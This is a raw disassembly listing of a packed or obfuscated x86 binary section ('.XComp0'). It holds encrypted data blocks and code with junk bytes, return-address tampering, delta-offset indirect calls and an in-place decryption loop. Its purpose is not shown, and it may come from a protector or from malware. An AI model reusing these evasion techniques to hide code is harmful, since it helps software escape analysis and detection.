		dd 886C6824h, 48B0600h,	4C48124h, 81000000h, 4ECh, 24248900h
		dd 4240483h, 375C685Bh,	4890000h, 8438F24h
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dw 49F7h
		dd 78E6C7Bh, 0CD47B4AEh
		db 0BEh
; ---------------------------------------------------------------------------


loc_5E4711:				; CODE XREF: .XComp0:005E3E54j
		mov	eax, 6009093h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 92FBh
		dd 81CB079Ah, 3B8172B1h, 819D5E33h, 25D550B7h, 0B72F3CE3h
		dd 593F191Ch, 0E5731345h, 0F5471ABCh, 0AC020EE7h, 50AF2C59h
		dd 0B55304A2h, 99CB15B4h, 83394553h, 4D094632h,	0B80C009Ah
		dd 4D91D1Ah, 2E0A4AB1h,	0A1D2AC5h, 0EF9F4404h, 4CFA3812h
		dd 20C7284Fh, 7F51437Bh, 1A967D84h, 2C1772AEh, 37E90B72h
		dd 19000000h, 21609Dh, 0Ch dup(0)
		dd 35E90000h, 68000010h, 6009413h, 0F9F250E9h, 956168FFh
		dd 46E90600h, 68FFF9F2h, 60097E6h, 0F9F23CE9h, 99A368FFh
		dd 32E90600h, 68FFF9F2h, 6009C14h, 0F9F228E9h, 9E6868FFh
		dd 1EE90600h, 68FFF9F2h, 6009FB7h, 0F9F214E9h, 0CEB0EFFh
		dd 0E312C20Fh, 0AEB0958h, 0E817C00Dh, 9EC0E53h,	41D28D0Eh
		dd 8CD16697h, 3F8E8968h, 87D66190h, 0D908B6Ah, 90BC48B1h
		dd 6F289CDFh, 75C7A0Fh,	1D609E8h, 74F1269Fh, 0E70B342h
		dd 8F52166h, 0DF028B15h, 7B40339Ah, 0AB44AC12h,	9ADF0211h
		dd 3C01D6CDh, 8622BB97h, 3E9ADF02h, 499E8043h, 0DE19BEADh
		dd 30EB38EBh, 6AA1A02Bh, 5E3893FAh, 3D1DE284h, 58A75095h
		dd 0E0397E55h, 9CA0188Fh, 1DFEA6B7h, 5F0DBF04h,	0FFAF409Ch
		dd 22CD0FF2h, 32E50C45h, 0DB81FCEDh, 0D79F2681h, 2F52267h
		dd 340FCC87h, 983CD1A7h, 18DF1459h, 5C124BC3h, 69A3827Bh
		dd 0A3000000h, 47EFEC2h, 2170EED0h, 0CE8508F5h,	61E0A709h
		dd 0F8F104B6h, 579E561Bh, 0D8427D56h, 0A010127Fh, 2911109Ch
		dd 0C943B258h, 26AB9430h, 7051509Fh, 0DE198905h, 0F2CA92EBh
		dd 56E69F26h, 0F2CB55FEh, 80739F26h, 23F805B1h,	30B58B50h
		dd 9B787180h, 5D225D6h,	7AF2CC05h, 8DCBAC82h, 0C38C8532h
		dd 24B665B2h, 2A000001h, 7B5C7E13h, 69BE2A62h, 9F0AD57Fh
		dd 0AC496DC4h, 0C8956241h, 5DE1CC2Bh, 0A009E808h, 8F29F8C3h
		dd 9C996650h, 0FEC1948Dh, 3D52338Bh, 0AC72E33Fh, 9649AC4Ah
		dd 20D7FC41h, 0E90CA93Eh, 94619100h, 0A8853A19h, 2102EB0Ah
		dd 799EE3D6h, 4A20797Eh, 8B9ADF50h, 78D8FD66h, 0DF4845DFh
		dd 0BD02019Ah, 0BA8F502h, 91EA92ECh, 9ADF48F7h,	7667B46Fh
		dd 0ED4D68C5h, 4850EC85h, 0F70C9ADFh, 0FD391FD9h, 2BF03361h
		dd 7EDAAB53h, 0C8DE94BCh, 0AE70B62h, 12FB6CCDh,	58A99CA0h
		dd 91523BBAh, 7D97EC4Eh, 2BC03B80h, 0F28BF316h,	995A70D6h
		dd 2FD9EF10h, 31020F49h, 2F0F02E6h, 0BF1840DAh,	9ADD6225h
		dd 1A1DE2A1h, 70852BC0h, 0C134E6ABh, 0B37CD0F8h, 783CADADh
		dd 0D47h, 611E013h, 5DDA17B7h, 813E210h, 5ADD20B9h, 714E113h
		dd 9E38CB88h, 6195DC5Fh, 9B3A8794h, 6592DF5Ch, 0AA048592h
		dd 0DF96B751h, 7A7A2F9Ch, 0F601F426h, 0AD460AA7h, 9ADF0213h
		dd 284DFAD4h, 805CB1C4h, 0EE05AC81h, 133A2631h,	5CF55D7Eh
		dd 9ADF02C0h, 673A857Ch, 0E9983098h, 85926581h,	0F58FE8A8h
		dd 719ADFE4h, 640D6DB2h, 9CA0F62Fh, 8D6879D5h, 13B93B0h
		dd 64881405h, 3D349F26h, 26A60782h, 429F2664h, 0B5FEF4C7h
		dd 46827B7Ch, 107h, 84719FE4h, 1EC09ADh, 13EBD522h, 5DF65A7Eh
		dd 9ADF02C3h, 523B887Bh, 0DAF74691h, 528D7089h,	2DD0EA57h
		dd 0DC1BB84Dh, 0F4E532F1h, 0DF1E2179h, 0A642239Ah, 147D6C1Fh
		dd 9A3706D1h, 6491E05Bh, 0CE631891h, 0D22BD3ABh, 9ADFB736h
		dd 7D9EF3AEh, 87540F7Ah, 8E994EA7h, 67079CA0h, 269F720Eh
		dd 0A3527F9Fh, 948F692Ah, 11952131h, 0A9767FA8h, 1EB74CAEh
		dd 2107A13Ah, 0C4BF9F26h, 8E438EFFh, 0CC5F9C67h, 19EA5475h
		dd 8FE4624Ch, 126CAFA8h, 5A7B6E69h, 0FD5D1499h,	85E61055h
		dd 6C27A253h, 0FB1D64B7h, 25CB20FAh, 0C1100BD0h, 0FB13E617h
		dd 0DCADB2E3h, 0BF943F1h, 12C50000h, 0E90958E3h, 14C20F0Ch
		dd 0EE0756E1h, 13C50C0Fh, 19D655E2h, 8A8D708Ah,	0D5628F43h
		dd 8D8A6988h, 0D7649340h, 0C55FF856h, 819CDF97h, 0F4260C88h
		dd 269F35Ch, 1ED59ADFh,	0EA0756E1h, 2DA05D79h, 3CD1A976h
		dd 0B86B5E95h, 13FCE863h, 276126Bh, 33EE9ADFh, 0E77C99E8h
		dd 0E8BB2ECBh, 7AE431Bh, 3CC22BF0h, 2FEC09A7h, 6E24B562h
		dd 38C42DA5h, 0A49ADF00h, 590C14EDh, 0BF4CCF14h, 72F76782h
		dd 565B245h, 0A0F7DF6Ch, 1B8E859Ch, 61F601B6h, 8D00F71Ch
		dd 0ECD4F730h, 0E215C216h, 617E9AE7h, 24185508h, 0E6E71C29h
		dd 6F320578h, 0DD6BB845h, 44B364A9h, 0F24D8A49h, 8275A265h
		dd 4E8B2875h, 4B499ED7h, 4775C78Ch, 84F30ADBh, 9815984Bh
		dd 1860EA0Fh, 8030B519h, 0EB097871h, 0FFC49F0Ah, 0FED467BCh
		dd 0F61B5069h, 0AC9C4FFh, 4737EBB7h, 0FCBFA661h, 32E38035h
		dd 0E0EBCAC3h, 5E3020F4h, 668EE320h, 7AC7548Fh,	0CE2F9A5Dh
		dd 1860000Dh, 2C592E5h,	0B51522D5h, 825D80A4h, 0EE50D2E0h
		dd 9F73FB85h, 6BB063E7h, 3F74F126h, 0A15E35B8h,	9141C628h
		dd 0AD849764h, 5D8DA36Eh, 29F6CE48h, 0A851A951h, 0E79F331Ch
		dd 5284C9C8h, 0AE692AA3h, 0E012CACBh, 0B922BAE1h, 0E266122Fh
		dd 0D982DC97h, 0E266124Fh, 0DDBFFCF7h, 0A7861126h, 83CBAC8Eh
		dd 4A637F00h, 0ED36F4CDh, 0D7CC67DCh, 0B0D12A04h, 0B0E41943h
		dd 52D8DECFh, 0C813DC0Bh, 0A54D2DE4h, 9F40B04Ch, 76572CE7h
		dd 3BF59A30h, 0B821F629h, 0D5A72536h, 2E2E106Bh, 8DF790E9h
		dd 55E9E79Fh, 0C813E210h, 0D51AF06Bh, 707D421h,	0B344FCEh
		dd 5CA5Fh, 63FEDF00h, 4DDCBDE0h, 0A01B8552h, 0B2D36A64h
		dd 678E43C8h, 106AAD66h, 0A02A4667h, 4173FC9Ch,	0A55A39B4h
		dd 48759336h, 0E9481C37h, 0A85B9A3Eh, 733D1EB6h, 0F2148F77h
		dd 238CED2Ah, 0A118578Ah, 0FE14B0C4h, 0F5AE1FD6h, 209A100Ch
		dd 7AE37BE3h, 1BD1FBEEh, 6D609B56h, 9F567C11h, 95A2752Eh
		dd 0E57FD898h, 611BD1FBh, 0FBC854FDh, 7D741BD1h, 359D7D42h
		dd 0D1FB009Ch, 0B720BC1Bh, 1BD1FB2Dh, 0D225DA99h, 638BE078h
		dd 58F0498Eh, 0FC1DD2A6h, 70B34273h, 995C790Eh,	69882CC1h
		dd 0D358A380h, 91E9698Eh, 2D3E5CE8h, 3009081Eh,	1E2D3E94h
		dd 4B8E5150h, 28C3A1B9h, 74892B9Eh, 40000009h, 8CD16695h
		dd 438A8D64h, 8ED3688Dh, 408D8A6Dh, 5BD46796h, 0CE90BA0h
		dd 0E716C20Fh, 0FE60D54h, 0E510C50Ch, 0DE77D752h, 9CDF9542h
		dd 138F0DFAh, 6D50C3F2h, 815687C8h, 0BC9EB776h,	0D825CF14h
		dd 60B9FED5h, 9CA023CBh, 5C75EAFBh, 69C4D7ABh, 7A394AAEh
		dd 8A709650h, 8C69A692h, 0BD82148h, 9B688F46h, 0CB24CC32h
		dd 9F26BE31h, 5C21F6ADh, 0F007AEB7h, 0AB47BA33h, 0C0F65B4Eh
		dd 0A84DB435h, 79875C4Dh, 206C9D1Ah, 0EEB075Ch,	20F3C89Bh
		dd 0D59B929Bh, 26BEE07Ch, 5AA55C9Fh, 0DF135800h, 0E9BC9712h
		dd 0F6695FA9h, 0AA835848h, 9959E211h, 256AD4CFh, 0B34274EFh
		dd 23A6593Ah, 4EB0AB70h, 93DA1BB9h, 3A199461h, 0F403B07Dh
		dd 0C7F075F9h, 3DEB538h, 0A414A90Ch, 226FAC17h,	0B34270F5h
		dd 0DC14593Ah, 72DFCA15h, 0CB36B746h, 52DCCD24h, 0C53B6CEFh
		dd 0E90ED166h, 0D0B1090Eh, 0EF7B6B85h, 0E60C613Ch, 952CC0Fh
		dd 0E9887444h, 88170A4h, 0F45F904Bh, 0DF000003h, 4A716E8Ah
		dd 8176B64Bh, 0BC1505BAh, 9ADF1920h, 0AE12E59Ch, 0D64861E0h
		dd 24BD57Eh, 6EF39ADFh,	653EAF46h, 0D81DD39Ah, 2BD32B03h
		dd 0DF0236D2h, 28F3AE9Ah, 0D8932145h, 0A83DA19Ch, 24FFEA09h
		dd 0DF93AF39h, 2DCA179Ch, 0BF04DFCAh, 0A1C21A04h, 0C8D6E24Ah
		dd 0EE33882Ah, 7A7797CCh, 0AF8F540Fh, 9312AE47h, 0D7CA9CDFh
		dd 20BA0704h, 7192ECDDh, 8A2A1572h, 6BF69A6Bh, 0CD8CED2Ah
		dd 359CDFC6h, 4E134024h, 0BF744DA8h, 2CC9ED04h,	0DA1DE2C1h
		dd 0CD055E93h, 31EEA528h, 0B63462E8h, 0E2923BB3h, 7B7h
		dd 96A15083h, 0CD4AA747h, 98A35280h, 0CA4DB049h, 97A45183h
		dd 2EC85B18h, 0D1054CCFh, 2BCA1724h, 0D5024FCCh, 3A941522h
		dd 0DF9B07A1h, 0CACABF9Ch, 76126B13h, 0EE9ADF02h, 16B24B33h
		dd 0CE9ADF02h, 3EF308D3h, 6A4196FDh, 49289308h,	0A7974CA9h
		dd 0D866284Eh, 81D9989Ch, 0BC2DC4ECh, 58A914E7h, 72BF3CBBh
		dd 5C780D45h, 6620BC9Dh, 0B51E9CDFh, 9CDF662Bh,	5FCE093h
		dd 5582CFBAh, 15728784h, 0BF9415E0h, 0E5D649E6h, 0CD31AF1Ah
		dd 6C30CC25h, 0F5AC9CDFh, 0C78A4D22h, 0FB9EAD2Ah, 77FB1492h
		dd 0DF6342DEh, 0BC07FA9Ch, 417AF407h, 0D2827481h, 29Bh
		dd 6BF41B70h, 7772AD44h, 8F19C29Ch, 379CDF6Fh, 26157F3Ch
		dd 431406F1h, 5B3E16F2h, 9508D38Eh, 0EB70872Ch,	56C8E160h
		dd 9914E111h, 0B41DFDBAh, 9CA01DE3h, 547A8461h,	2EEE1288h
		dd 0D775F8F1h, 0D39F264Ch, 0D6720B73h, 8E9F264Ch, 70EB4893h
		dd 7B90417Ah, 68D282h, 0E0E60000h, 91D64861h, 3F149568h
		dd 0B53AA27Ch, 4924F7FEh, 9CA01048h, 23BD16B6h,	9B9F2610h
		dd 8A55A056h, 95DA5455h, 3E15985Dh, 1038A079h, 0A2519F26h
		dd 0CAE75A53h, 0C92CC22Bh, 4AA74B0Eh, 0D93F845Fh, 5C780D65h
		dd 1020BC9Dh, 0E59C9F26h, 0A47A3D12h, 6144B15Fh, 374B77B7h
		dd 4CCE09D5h, 827B6803h, 15B94h, 0F1262800h, 3AB34274h
		dd 0DBCE2BC7h, 8508BB08h, 2BC99A3Ch, 542515CAh,	0D12A1F4Fh
		dd 9ADFBB37h, 3311F4AFh, 0CFBAFDF9h, 8F845582h,	0D7710A17h
		dd 8F9ADFB1h, 22E23194h, 2FC7B76Ch, 0A3E56D4Eh,	7BDE5370h
		dd 9ADFF7E1h, 6851A65Dh, 0A1548106h, 0E1B06B28h, 76832F34h
		dd 47B0D1A9h, 0E63B988h, 0BD1D1ADDh, 6C20BC15h,	7BA59ADFh
		dd 9E7087ACh, 0E437EACEh, 0DF253189h, 39DE339Ah, 0C318CBBEh
		dd 0BC9E597Eh, 0AE698827h, 61F1EA9h, 99294314h,	43B30DF9h
		dd 0A93E9678h, 2102EB0Ah, 614CAB4Ch, 7BD43582h,	0AB9CA363h
		dd 0F4381EDAh, 0FD5479CCh, 1DB20D5h, 9FC01802h,	0A0D7C94Bh
		dd 21BB9EB6h, 9D9F2455h, 0A13911E6h, 5504A039h,	0A3C09F24h
		dd 390D5505h, 0FFBC076Dh, 0E2758832h, 0EF88F088h, 9F24CD55h
		dd 9D271211h, 499F24CDh, 16C08D4Ah, 0E1A16E7h, 0F6F7A7BAh
		dd 5462Eh, 18E71200h, 0DF16BE03h, 16DF155Ch, 0DC1BBC01h
		dd 15E8125Fh, 3DCE8902h, 90DD5A9Bh, 3B829564h, 93DA5D94h
		dd 984975Eh, 9EB04CA5h,	7B2C9CDFh, 567E1381h, 0E3155C9Fh
		dd 2EE32812h, 77728335h, 866679Ch, 0DF02D56Fh, 4D92919Ah
		dd 93408D8Ah, 0D8D124D2h, 2EBA23FBh, 969ADF02h,	311328DBh
		dd 9A5D7E13h, 0DAA7742Fh, 7F60BA3Dh, 96F6B72Ah,	6C5D9A81h
		dd 0F205F025h, 579E5398h, 0AD3A7D56h, 6C057590h, 9CA0CA2Bh
		dd 17DE165Bh, 7897E8C4h, 90531079h, 0A84CA11Dh,	13AB8E49h
		dd 339F26CAh, 5A9D3ED3h, 1FF5C29Dh, 0ACD30CAh, 629340FDh
		dd 86391A93h, 7D1B3C94h, 0EF5295C5h, 0C1D14BEh,	0DB3065B9h
		dd 0AB583D20h, 0CBC69959h, 0D6720B73h, 8E9ADFABh, 0EF324375h
		dd 0C0036A2Dh, 131400FBh, 609B5A7Eh, 9811E411h,	0D05D4516h
		dd 63ECBDA5h, 0C92CC998h, 7997EC4Eh, 95AC3F7Ch,	1D720A74h
		dd 458CFDF8h, 5C9F6491h, 0A0BEAC01h, 6E5F129Ch,	26BE490Fh
		dd 5DDA699Fh, 7B9AEF87h, 0BE07A17Ch, 0C4BF9F26h, 3EAF466Dh
		dd 5F989265h, 0F0827B22h, 85h, 74DCF98Eh, 26C641DBh, 0B906FD9Fh
		dd 3AB34274h, 0E0329E59h, 7ED64861h, 5E1CC25Dh,	3921F62Dh
		dd 0DF5504A0h, 0F6C1C09Ah, 0A0477E13h, 84CFA49Ch, 69D17C6Ah
		dd 24D3004Dh, 4535EAA9h, 72579034h, 0F7C4E47Ch,	2DE32886h
		dd 0B21AF3C8h, 0C79F2647h, 5FDFCA27h, 26476AF6h, 521FD29Fh
		dd 0CA5455A8h, 0C5B3E477h, 439B7146h, 26470E9Ah, 76BBB69Fh
		dd 5E35B83Fh, 9D58A199h, 0B338827Bh, 0F625F2FFh, 0ECh
		dd 6F126EAh, 0D21FCF14h, 8B2D9405h, 6AFF7F6Ah, 236AAD50h
		dd 3B8607EEh, 82DC5F96h, 2E781DAh, 0A45F9ADFh, 1EA4F657h
		dd 4B19ADFh, 5C7889F1h,	3D02B69Bh, 1C7E793Eh, 0F7DC1B3Bh
		dd 9C5FBAE1h, 0D4D520D5h, 0B14A0A27h, 9ADF5417h, 2F0FD4CFh
		dd 0A079E5C6h, 0DE165B9Ch, 0BC4FCC17h, 62FA6485h, 41C761FAh
		dd 0E3149F26h, 2EE9A814h, 5A4D984Bh, 0CB038899h, 0FCF7D126h
		dd 0CA2BCD22h, 477B8F70h, 0D2586CA7h, 19BB0205h, 0B2029E37h
		dd 0C7BA9ADDh, 2D45C1FCh, 0A326ADB3h, 2F201h, 0DC1BBE00h
		dd 13E2125Fh, 0DA1BB908h, 18E7105Dh, 0D91CBE03h, 9122DD5Eh
		dd 3C819667h, 8FDE5998h, 37869160h, 5DE05B9Ah, 9CCC5801h
		dd 7F789CDFh, 1F42615h,	0D423D419h, 0D9AA0407h,	13B05350h
		dd 0A2561B54h, 1CB98853h, 0C6EC81D9h, 856FEC2Fh, 0FD37F213h
		dd 0E32C4DE9h, 0ED2E0318h, 6492330Ah, 6A3B1891h, 0F12E3312h
		dd 25CC0489h, 0B2DF78D2h, 0F29CA0C7h, 9391911h,	1DDA8A44h
		dd 2EBA23BBh, 969F26E0h, 0E0039D36h, 0C8BB9F26h, 68C5C8FBh
		dd 9F26E0E0h, 0C0B68100h, 827B0077h, 0CA56FF57h, 729F26ECh
		dd 0FC933C7Fh, 29000000h, 8306F126h, 0C235E62Bh, 6DAA476Bh
		dd 1707F620h, 0DAD322D2h, 72CBBEF9h, 9ADF1E18h,	0BC5DB24Ah
		dd 644E039h, 64959ADFh,	0AF6C2791h, 35C235E2h, 809ACBE8h
		dd 8C570C7Dh, 63BC9D21h, 9FBD17h, 7CB14691h, 0E1CC29C7h
		dd 0F45DBD02h, 9CA0B2B7h, 0ADBE5AAFh, 25FEEF06h, 5D34EFDAh
		dd 935039BCh, 0AAAD6448h, 1505201Dh, 5AFAA8BCh,	26CB1499h
		dd 92E7DECFh, 0DB168E43h, 502AF52Ah, 43B263A8h,	0FF4E894Ah
		dd 985F96D5h, 76813E15h, 0ECCB4314h, 87C4657h, 0A94C6EB3h
		dd 0B305FC70h, 3CE8E1ADh, 1A3h,	0A2B5446Fh, 0B93EB35Bh
		dd 0A4B73E74h, 0BE39BC5Dh, 0A3B8456Fh, 3ADC6F2Ch, 0C5F140BBh
		dd 37DE2338h, 0C1F63BC0h, 46A82136h, 0DF9D13ADh, 0DEDECB9Ch
		dd 0F601F426h, 35460AA7h, 0BE1AC8F6h, 7D0772CCh, 0E99ADF68h
		dd 43B2632Ah, 0C156894Ah, 0DC681169h, 889ADF68h, 13624E89h
		dd 0E70C597Eh, 3908D310h, 811BB49Ch, 469ADF02h,	56CCC846h
		dd 130EEAF3h, 8061DDD0h, 8F3702E9h, 21D0FF05h, 0E338EBA8h
		dd 797E799Eh, 70914FEEh, 826892BAh, 21BB9EBAh, 9D9ADF5Eh
		dd 984119E6h, 9CD8CF9Ah, 3DC730C8h, 0A99CDFCFh,	46CB2DEAh
		dd 0BC9E6194h, 0E042409Bh, 9562FDEEh, 0BD38DD24h, 0D1797C5Dh
		dd 0D74C5997h, 1DBA0704h, 3F0A2435h, 8016C018h,	0DF7A039Dh
		dd 0FBC8BB9Ch, 2EFD4223h, 0DB1B7503h, 13966196h, 0AB127B40h
		dd 0F5387A72h, 69649145h, 91FCFB18h, 9F567BD2h,	3560572Eh
		dd 2446FCC0h, 0C9FABD1Ch, 0B58B503Bh, 77728130h, 0E5125F9Ch
		dd 5CA75680h, 0AD486D02h, 0F88DED6Ah, 0F6AD20DFh, 127B7A97h
		dd 1AB78651h, 0F04AAB49h, 0BFAAFD87h, 75AA69BBh, 13548005h
		dd 0DCCD12DFh, 78C9B407h, 0DF2DA05Fh, 372CCA1Fh, 0B1725B9Ah
		dd 53A87B6Eh, 20653B00h, 0B34270F1h, 23A6593Ah,	31E6AB70h
		dd 0C7EC31C6h, 61A64E30h, 4FD944B1h, 8CBBBFAAh,	43208968h
		dd 1CD39A59h, 0BCFFD4D5h, 6C056DD1h, 0BBBFAAD0h, 0CD29778Ch
		dd 332A1D09h, 14092BF0h, 0EB000000h, 0B361A6D8h, 9C4D9624h
		dd 0E41FF62Fh, 7F7E98E9h, 260D7744h, 388904F3h,	20715C9Bh
		dd 3A8702F1h, 236E5F9Eh, 388904F1h, 236E5F9Eh, 378A03F2h
		dd 20715C99h, 0F68801F0h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 8957242Ch, 4C781E7h,	83000000h, 3C8704EFh, 1C895C24h
		dd 4EC8124h, 89000000h,	55522404h, 0E90991BDh, 5DEA8939h
		dd 178887BBh, 5AD301CCh, 539A68h, 24248900h, 4240483h
		dd 8B95158h, 1000000h, 8B1989C1h, 0C483240Ch, 2434FF04h
		dd 4C48358h, 57241C8Bh,	0C781E789h, 4, 8704C783h, 0E95C243Ch
		dd 0FFF9E231h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch,	0A17FB8h
		dd 0FFC50306h, 88E4E8E0h, 1F659415h, 8F90E57Dh,	0C8FE3618h
		dd 0F2F3E873h, 0B532C357h, 5C3B9916h, 29DABE43h, 0C9AB1818h
		dd 0AEAA2B05h
		db 1Bh
byte_5E5825	db 2 dup(8Dh), 2Eh	; DATA XREF: .XComp0:0058373Do
		dd 0E80600A3h, 0Eh, 5F1B3DDAh, 0FE9B5F3h, 0A1959FFh, 5E9785Dh
		dd 0C4000000h, 158FC8DEh, 0DD8D8958h, 6A05F90Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0D556C352h, 8BED952Ah, 0F933D9BDh, 0C185C705h, 6405F926h
		dd 0C7000059h, 0F900FD85h, 5, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E9BC6FCDh
		dd 8, 9D807870h, 0C4C9E7DEh, 0FF26C780h, 0F91771B5h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 36A323Dh, 85016455h,	5F91829h, 20D595FFh, 6A05F9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1DA848C3h, 0D9FC7465h, 9D8B7E5Ah, 5F929A1h, 95FF006Ah
		dd 5F91AEDh, 78EBC08Bh,	69CA5FDCh, 0F9E7CE84h, 0BC11F4F7h
		dd 6864C8FDh, 0B20230FEh, 8ACA3677h, 0C4339D7Fh, 93C11113h
		dd 0DFBD2D2h, 22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h
		dd 0AAE19B91h, 0E4415BC8h, 63AE3C4Dh, 108AF5A2h, 0BF78C522h
		dd 0AB2DE850h, 3E902D97h, 8C019A62h, 716FF863h,	0FED7F782h
		dd 596A70A5h, 0AF24355Eh, 754363C5h, 32BD71D0h,	3552EAh
		dd 766A5761h, 729E47AFh, 0BE8h,	686D8400h, 0C92AD151h
		dd 22C31BC1h, 31A18D31h, 605F05F9h, 83C78161h, 0B9000062h
		dd 2EF0D0D1h, 0B8h, 0F3BF0F00h,	813834FFh, 0FBD6BED6h
		dd 0DCBE5A5Ch, 813688FBh, 0C54C93C2h, 8191B165h, 539785C2h
		dd 899D8B05h, 8105F904h, 5C4EE6C2h, 14E97Dh, 9BEE0000h
		dd 0E067F604h, 0F573D509h, 7F17D451h, 0D3F585C0h, 148992BEh
		dd 0FE807h, 3560000h, 520782E1h, 0D1AEDA10h, 17BB43E9h
		dd 0E58589ECh, 5E05F90Dh, 4A5AE881h, 0BB663860h, 0C08193B7h
		dd 38604A56h, 0F881F08Bh, 0FFFF9E24h, 0FF82850Fh, 8D8BFFFFh
		dd 5F91AB9h, 10E8h, 5F8AAA00h, 8B925368h, 0E5D19251h, 52426BA1h
		dd 25B58B1Dh, 5A05F911h, 5E9h, 10FE4800h, 0C2816D36h, 7297h
		dd 0BFDF8B66h, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+5F905A5h]


loc_5E5A82:				; CODE XREF: .XComp0:005E5AE8j
		mov	eax, [edx+edi]
		mov	[ebp+5F926B1h],	ebx
		add	eax, 4591F09Eh
		mov	cl, 9Dh
		xor	eax, 16F46132h
		xor	cl, 0BCh
		add	eax, 34CB028Dh
		jmp	loc_5E5AAD
; ---------------------------------------------------------------------------
		align 4
		dd 99186C6Dh
		db 35h
; ---------------------------------------------------------------------------


loc_5E5AAD:				; CODE XREF: .XComp0:005E5AA2j
		mov	[edx+edi], eax
		or	[ebp+5F914FDh],	ecx
		stc
		sub	edi, 7B63A4EAh
		jmp	loc_5E5AD6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	es
		stc
		add	ds:8F4E7DC4h, al
		mov	ebx, 0AAF12583h
		cmp	[ebx+7D779FD0h], al


loc_5E5AD6:				; CODE XREF: .XComp0:005E5ABDj
		add	edi, 7B63A4E6h
		adc	ecx, 0CAECBBDh
		cmp	edi, 0FFFF8E0Ch
		jnz	loc_5E5A82
		or	[ebp+5F91541h],	edx
		lea	ecx, [ebp+600A58Dh]
		push	0
		push	edx
		call	sub_5E5B05
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E5B05	proc near		; CODE XREF: .XComp0:005E5AFDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5E5B05	endp

; ---------------------------------------------------------------------------
		wait
		mov	al, dh
		mov	esi, [ebp+5F931E5h]
		mov	edi, ebx
		mov	[ebp+5F90CDDh],	ecx
		add	esi, 1147E993h
		mov	dword ptr [ebp+5F926C1h], 6DE4h
		mov	dword ptr [ebp+5F900FDh], 0
		jle	loc_5E5B53
		jmp	loc_5E5B53
; ---------------------------------------------------------------------------
		db 27h
		dd 0CF924F3Eh
		db 0F4h, 29h, 66h
; ---------------------------------------------------------------------------


loc_5E5B53:				; CODE XREF: .XComp0:005E5B40j
					; .XComp0:005E5B46j
		push	dword ptr [ebp+5F9159Dh]
		jmp	loc_5E5B6C
; ---------------------------------------------------------------------------
		dw 0C608h
		dd 11CE06FEh, 1ED07C36h, 2C5003F7h
; ---------------------------------------------------------------------------


loc_5E5B6C:				; CODE XREF: .XComp0:005E5B59j
		call	dword ptr [ebp+5F920D5h]
		stc
		push	0
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5E5B97
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0D5F975E2h, 1A83FA23h, 45048049h, 2E402438h,	0AAA51868h
		db 14h,	0EDh, 0E9h
; ---------------------------------------------------------------------------


loc_5E5B97:				; CODE XREF: .XComp0:005E5B7Dj
		lea	ecx, [ebp+600A64Dh]
		jmp	loc_5E5BB5
; ---------------------------------------------------------------------------
		dw 1B18h
		dd 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h
; ---------------------------------------------------------------------------
		cli


loc_5E5BB5:				; CODE XREF: .XComp0:005E5B9Dj
		mov	[ebp+5F90CDDh],	ecx
		push	0
		push	eax
		call	sub_5E5BC6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E5BC6	proc near		; CODE XREF: .XComp0:005E5BBEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5E5BC6	endp

; ---------------------------------------------------------------------------
		movlps	xmm0, qword ptr	[eax-8]
		mov	dword ptr [ebp+5F926C1h], 6EB4h
		sub	[ebp+5F925C1h],	edi
		mov	dword ptr [ebp+5F900FDh], 0
		mov	esi, [ebp+5F9157Dh]
		push	dword ptr [ebp+5F91799h]
		push	0
		push	ebx
		call	sub_5E5C0B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E5C0B	proc near		; CODE XREF: .XComp0:005E5C03p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5E5C0B	endp

; ---------------------------------------------------------------------------
		sub	esi, [edx-30B66C1Ah]
		movsd
		push	edx
		or	bl, 40h
		pop	eax
		call	dword ptr [ebp+5F920D5h]
		jb	$+6
		push	0
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5E5CA7
; ---------------------------------------------------------------------------
		db 80h
		dd 0A706D960h, 229DFC98h, 15DBBD90h, 5CCCD363h,	9D59CBB3h
		dd 0C5F186BDh, 5B692BB5h, 25497930h, 0F1539D5Fh, 7C42E568h
		dd 0E9F63EBCh, 0FD2A8D0Ah, 0CA4B8516h, 84546A8Dh, 0D687F8CBh
		dd 4FEBD625h, 6A274FF9h, 9A207CA6h, 98AEC347h, 5A745B2Dh
		dd 48FB14Bh, 159B656Ah,	673768A3h, 0FD80986Bh, 0FD7C39E4h
		db 8, 0BAh, 22h
; ---------------------------------------------------------------------------


loc_5E5CA7:				; CODE XREF: .XComp0:005E5C3Dj
		jmp	loc_5E5CDB
; ---------------------------------------------------------------------------
		dd 10B727C9h, 0Ah dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5E5CDB:				; CODE XREF: .XComp0:loc_5E5CA7j
		jmp	loc_5E64C2
